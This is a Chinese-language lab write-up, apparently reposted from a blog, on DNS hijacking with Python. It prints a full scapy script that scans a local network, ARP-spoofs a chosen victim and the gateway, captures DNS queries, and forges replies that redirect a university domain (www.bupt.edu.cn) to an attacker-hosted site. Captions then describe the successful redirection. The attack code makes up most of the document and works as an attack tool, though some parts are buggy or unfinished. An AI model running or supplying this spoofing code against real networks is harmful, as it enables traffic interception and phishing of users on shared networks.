實(shí)驗(yàn)環(huán)境：

虛假網(wǎng)站端：虛擬機(jī)Windows?server 2008

攻擊機(jī)：Windows?7

靶機(jī)端：Windows?10

實(shí)驗(yàn)步驟：

設(shè)置虛擬機(jī)網(wǎng)絡(luò)適配器為橋接模式

虛擬機(jī)設(shè)備設(shè)置

編輯虛擬網(wǎng)絡(luò)編輯器

查詢Windows?server 2008的IP地址并搭建自己的網(wǎng)站

? ?

新建一個(gè)自己的網(wǎng)站(即攻擊后劫持網(wǎng)站)

編寫DNS劫持代碼

from scapy.all import *

import sys

import os

import re

import time

from threading import Thread

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def main(ip1):

print(" ")

#獲取本機(jī)上的IP及網(wǎng)關(guān)

for line in os.popen("route print"):

s=line.strip()

if s.startswith("0.0.0.0"):

localip=s.split()[3]

gw=s.split()[2]

print("本機(jī)IP：%s 網(wǎng)關(guān)：%s"%(localip,gw))

break

else:

print("網(wǎng)絡(luò)連接不正常！")

os.exit(1)

def scan():

scanip=gw+"/24"

p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip)

ans,unans=srp(p,timeout=2,verbose=0)

print("一共掃描到%d臺(tái)主機(jī)："%len(ans))

for send,recv in ans:

print(recv[Ether].src+"------>"+recv[ARP].psrc)

#對(duì)特定網(wǎng)站自動(dòng)發(fā)送dns應(yīng)答

def dnsposion(p):

weblist=["www.bupt.edu.cn"]

if p.haslayer(DNS):

ip=p[IP]

udp=p[UDP]

dns=p[DNS]

domain=dns.qd.qname.decode()[:-1]

print("收到一個(gè)請(qǐng)求 ----->",domain)

if domain in weblist:

#自動(dòng)發(fā)送應(yīng)答包

nip=IP(src=ip.dst,dst=ip.src)

nudp=UDP(sport=udp.dport,dport=udp.sport)

ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=ip1))

send(nip/nudp/ndns)

print("應(yīng)答：%s -----> %s"%(domain,ip1))

#抓包并保存到文件

def capture(vic,t):

filter1="udp dst port 53 and host "+vic

pkts=sniff(filter=filter1,timeout=t,prn=dnsposion)

fname="p%d.pacp"%int(time.time())

wrpcap(fname,pkts)

print("抓包數(shù)據(jù)已經(jīng)存入文件%s。"%fname)

#ARP攻擊

def spoof():

vic=input("請(qǐng)輸入攻擊目標(biāo)：") #vic被攻擊者s

t=int(input("請(qǐng)輸入攻擊時(shí)間(單位：秒)："))

ct=Thread(target=capture,args=(vic,t))

ct.start()

for i in range(5*t):

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=gw),verbose=0)

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vic),verbose=0)

time.sleep(0.2)

ct.join()

print("攻擊結(jié)束！")

#流量分析

def analy():

os.system("dir *.pcap")

fname=input("請(qǐng)輸入要分析的文件名")

pkts=rdpcap(fname)

#快捷選擇

while 1:

sel=input("請(qǐng)選擇要進(jìn)行的操作：1、局域網(wǎng)掃描；2、攻擊欺騙；3、流量分析；4、退出\n")

if sel=="1":

scan()

elif sel=="2":

if not gw:

print("請(qǐng)先執(zhí)行掃描程序！")

else:

spoof()

elif sel=="3":

analy()

elif sel=="4":

print("歡迎下次使用！再見！")

break

else:

print("輸入有誤請(qǐng)重新輸入！")

if __name__=="__main__":

main(sys.argv[1])

Win+R彈出運(yùn)行界面，找到Routing and RemoteAccess (RemoteAccess)點(diǎn)擊屬性，把啟動(dòng)類型修改為手動(dòng)，確定并啟動(dòng)

(此處為修改攻擊機(jī)的服務(wù)管理器)

可以開始攻擊

首先進(jìn)行局域網(wǎng)內(nèi)存活主機(jī)掃描

開始攻擊欺騙

被攻擊后靶機(jī)網(wǎng)關(guān)情況

可以看到攻擊機(jī)的網(wǎng)關(guān)和靶機(jī)網(wǎng)關(guān)已經(jīng)一致

靶機(jī)被欺騙的網(wǎng)站界面

可以看出網(wǎng)站已經(jīng)變?yōu)閃indows server 2008中搭建的網(wǎng)站，而不是正確的網(wǎng)站了

正確網(wǎng)站對(duì)比圖

總結(jié)

以上是生活随笔為你收集整理的python实现dns劫持_Python程序之DNS劫持的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。